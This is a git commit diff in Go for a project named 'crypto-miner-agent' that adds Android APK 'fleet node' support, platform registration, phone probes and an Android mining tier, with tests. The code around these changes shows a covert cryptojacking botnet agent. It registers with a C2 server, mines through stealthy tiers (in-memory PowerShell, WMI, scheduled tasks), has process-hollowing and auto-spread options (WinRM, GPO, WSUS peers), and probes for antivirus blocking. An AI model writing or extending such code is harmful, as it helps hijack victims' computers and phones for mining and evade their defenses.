Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -128,7 +128,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
WorkerNumber: workerNumberFromConfig(cfg),
|
||||
BuildID: cfg.BuildID,
|
||||
Version: config.Version,
|
||||
Platform: runtime.GOOS,
|
||||
Platform: cfg.RegistrationPlatform(),
|
||||
Arch: runtime.GOARCH,
|
||||
ForgeFlags: forgeFlagsFromConfig(cfg),
|
||||
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
|
||||
@@ -258,13 +258,13 @@ func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.T
|
||||
}
|
||||
|
||||
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
|
||||
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
|
||||
lanes := spreadLanesForPlatform(cfg.RegistrationPlatform(), deployOrder)
|
||||
mining := make([]string, 0, len(miningChain))
|
||||
for _, t := range miningChain {
|
||||
mining = append(mining, string(t))
|
||||
}
|
||||
return AICapabilitiesSnapshot{
|
||||
Platform: runtime.GOOS,
|
||||
Platform: cfg.RegistrationPlatform(),
|
||||
HolePunch: cfg.HolePunch,
|
||||
RemoteAggressive: cfg.RemoteAggressive,
|
||||
MeshP2P: cfg.MeshP2P,
|
||||
@@ -279,7 +279,10 @@ func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningC
|
||||
}
|
||||
}
|
||||
|
||||
func spreadLanesForPlatform(goos string, order []string) []string {
|
||||
func spreadLanesForPlatform(platform string, order []string) []string {
|
||||
if platform == "android" {
|
||||
return nil
|
||||
}
|
||||
winOnly := map[string]bool{
|
||||
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
|
||||
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
|
||||
@@ -287,10 +290,10 @@ func spreadLanesForPlatform(goos string, order []string) []string {
|
||||
linuxOnly := map[string]bool{"linux": true}
|
||||
out := make([]string, 0, len(order))
|
||||
for _, lane := range order {
|
||||
if winOnly[lane] && goos != "windows" {
|
||||
if winOnly[lane] && platform != "windows" {
|
||||
continue
|
||||
}
|
||||
if linuxOnly[lane] && goos != "linux" {
|
||||
if linuxOnly[lane] && platform != "linux" {
|
||||
continue
|
||||
}
|
||||
out = append(out, lane)
|
||||
|
||||
@@ -354,7 +354,7 @@ func (c *AgentClient) authenticate() error {
|
||||
MeshP2P: c.cfg.MeshP2P,
|
||||
AutoSpread: c.cfg.AutoSpread,
|
||||
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||
Platform: runtime.GOOS,
|
||||
Platform: c.cfg.RegistrationPlatform(),
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
|
||||
@@ -87,7 +87,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
|
||||
var d MiningDiagnostics
|
||||
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
d.Platform = runtime.GOOS
|
||||
d.Platform = c.cfg.RegistrationPlatform()
|
||||
d.ConfiguredExecution = c.cfg.MinerExecution
|
||||
d.ExecutionMode = execMode
|
||||
d.ContainerAvailable = containerRT.Available
|
||||
|
||||
@@ -31,6 +31,10 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
||||
|
||||
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
||||
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
if c.cfg.MiningDisabled || c.cfg.ApkMode {
|
||||
log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
|
||||
return
|
||||
}
|
||||
const maxWait = 120 * time.Second
|
||||
deadline := time.Now().Add(maxWait)
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/job"
|
||||
)
|
||||
|
||||
@@ -45,6 +46,19 @@ func TestAuthPayloadJSONRoundTrip(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthPayloadPlatformFromEnv(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||
if got := config.RegistrationPlatform(); got != "android" {
|
||||
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||
}
|
||||
in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"}
|
||||
var out AuthPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.Platform != "android" {
|
||||
t.Fatalf("auth platform = %q want android", out.Platform)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||
var out AuthResponse
|
||||
|
||||
@@ -19,7 +19,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
}
|
||||
r := &FullSysCheckReport{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Platform: runtime.GOOS,
|
||||
Platform: cfg.RegistrationPlatform(),
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
WorkerName: cfg.WorkerName,
|
||||
|
||||
@@ -116,6 +116,11 @@ type BuiltinConfig struct {
|
||||
LotlOnionEnabled bool
|
||||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
|
||||
MiningDisabled bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -228,6 +233,34 @@ func Load() RuntimeConfig {
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets
|
||||
// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode.
|
||||
func RegistrationPlatform() string {
|
||||
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||||
return strings.ToLower(p)
|
||||
}
|
||||
b := GetBuiltinConfig()
|
||||
if b.ApkMode {
|
||||
return "android"
|
||||
}
|
||||
return runtime.GOOS
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) RegistrationPlatform() string {
|
||||
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||||
return strings.ToLower(p)
|
||||
}
|
||||
if c.ApkMode {
|
||||
return "android"
|
||||
}
|
||||
return runtime.GOOS
|
||||
}
|
||||
|
||||
// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag).
|
||||
func IsAndroidPlatform() bool {
|
||||
return RegistrationPlatform() == "android"
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveThreads() int {
|
||||
mode := strings.ToLower(c.ThreadMode)
|
||||
if mode == "fixed" {
|
||||
|
||||
34
agent/config/platform_test.go
Normal file
34
agent/config/platform_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRegistrationPlatformDefault(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PLATFORM", "")
|
||||
if got := RegistrationPlatform(); got != runtime.GOOS {
|
||||
t.Fatalf("RegistrationPlatform() = %q want %q", got, runtime.GOOS)
|
||||
}
|
||||
if IsAndroidPlatform() {
|
||||
t.Fatal("IsAndroidPlatform() true without override")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistrationPlatformFromEnv(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||
if got := RegistrationPlatform(); got != "android" {
|
||||
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||
}
|
||||
if !IsAndroidPlatform() {
|
||||
t.Fatal("IsAndroidPlatform() false with AETHERFORGE_PLATFORM=android")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistrationPlatformApkMode(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PLATFORM", "")
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ApkMode: true}}
|
||||
if got := cfg.RegistrationPlatform(); got != "android" {
|
||||
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// EnvironmentProbes captures host capabilities that drive tier selection.
|
||||
@@ -14,8 +16,11 @@ type EnvironmentProbes struct {
|
||||
PowerShell bool `json:"pwsh"`
|
||||
DotNet bool `json:"dotnet"`
|
||||
GPU bool `json:"gpu"`
|
||||
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||
WebView2 bool `json:"webview2"`
|
||||
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||
WebView2 bool `json:"webview2"`
|
||||
Wifi bool `json:"wifi,omitempty"`
|
||||
Battery bool `json:"battery,omitempty"`
|
||||
ForegroundService bool `json:"foreground_service,omitempty"`
|
||||
}
|
||||
|
||||
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
||||
@@ -56,6 +61,12 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
||||
Docker: rt.Available,
|
||||
GPU: gpuProbeFn(),
|
||||
}
|
||||
if config.IsAndroidPlatform() {
|
||||
p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED")
|
||||
p.Battery = envTruthy("AETHERFORGE_BATTERY_OK")
|
||||
p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE")
|
||||
return p
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
wsl := WSLDetector()
|
||||
p.WSL = wsl.Available
|
||||
@@ -70,6 +81,11 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
||||
return p
|
||||
}
|
||||
|
||||
func envTruthy(key string) bool {
|
||||
v := strings.TrimSpace(os.Getenv(key))
|
||||
return v == "1" || strings.EqualFold(v, "true")
|
||||
}
|
||||
|
||||
func inferAVBlocksExe() bool {
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
||||
return true
|
||||
|
||||
@@ -23,8 +23,9 @@ const (
|
||||
TierWMI LOTLTier = "wmi"
|
||||
TierScheduledTask LOTLTier = "scheduled_task"
|
||||
TierGPUCompute LOTLTier = "gpu_compute"
|
||||
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||
TierStratumDirect LOTLTier = "stratum_direct"
|
||||
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||
TierStratumDirect LOTLTier = "stratum_direct"
|
||||
TierForegroundService LOTLTier = "foreground_service"
|
||||
)
|
||||
|
||||
// TierAttempt records one tier try for C2/UI diagnostics.
|
||||
@@ -89,9 +90,25 @@ func DefaultMiningTierPolicy() MiningTierPolicy {
|
||||
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
||||
}
|
||||
|
||||
// DefaultAndroidTierOrder is the APK foreground-service → in-process mining path.
|
||||
var DefaultAndroidTierOrder = []LOTLTier{TierForegroundService, TierCPUInprocess}
|
||||
|
||||
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
||||
// local eligibility overrides from environment probes and forge execution mode.
|
||||
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
||||
if config.IsAndroidPlatform() {
|
||||
chain = append([]LOTLTier(nil), DefaultAndroidTierOrder...)
|
||||
for _, tier := range DefaultTierOrder {
|
||||
if tier != TierForegroundService && tier != TierCPUInprocess {
|
||||
skipped = append(skipped, tier)
|
||||
}
|
||||
}
|
||||
if policy.ForceTier != "" && tierEligible(policy.ForceTier, probes, cfg, nil) {
|
||||
return []LOTLTier{policy.ForceTier}, skipped
|
||||
}
|
||||
return chain, skipped
|
||||
}
|
||||
|
||||
base := policy.TierOrder
|
||||
if len(base) == 0 {
|
||||
base = DefaultTierOrder
|
||||
@@ -220,6 +237,8 @@ func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeCon
|
||||
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierCPUInprocess:
|
||||
return true
|
||||
case TierForegroundService:
|
||||
return probes.ForegroundService || config.IsAndroidPlatform()
|
||||
case TierGPUSubprocess:
|
||||
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
||||
case TierStratumDirect:
|
||||
@@ -243,7 +262,7 @@ func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
||||
var out []LOTLTier
|
||||
for _, t := range chain {
|
||||
switch t {
|
||||
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
||||
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierForegroundService, TierWMI, TierScheduledTask:
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
@@ -273,6 +292,8 @@ func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
||||
return MethodWSL, true
|
||||
case TierCPUInprocess:
|
||||
return MethodInProcess, true
|
||||
case TierForegroundService:
|
||||
return MethodInProcess, true
|
||||
case TierGPUSubprocess:
|
||||
return MethodGPUSubprocess, true
|
||||
case TierStratumDirect:
|
||||
|
||||
@@ -235,3 +235,19 @@ func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainAndroid(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||
probes := EnvironmentProbes{
|
||||
Wifi: true,
|
||||
Battery: true,
|
||||
ForegroundService: true,
|
||||
}
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if len(chain) != 2 || chain[0] != TierForegroundService || chain[1] != TierCPUInprocess {
|
||||
t.Fatalf("android chain=%v want [foreground_service cpu_inprocess]", chain)
|
||||
}
|
||||
if len(skipped) < 10 {
|
||||
t.Fatalf("expected desktop tiers skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user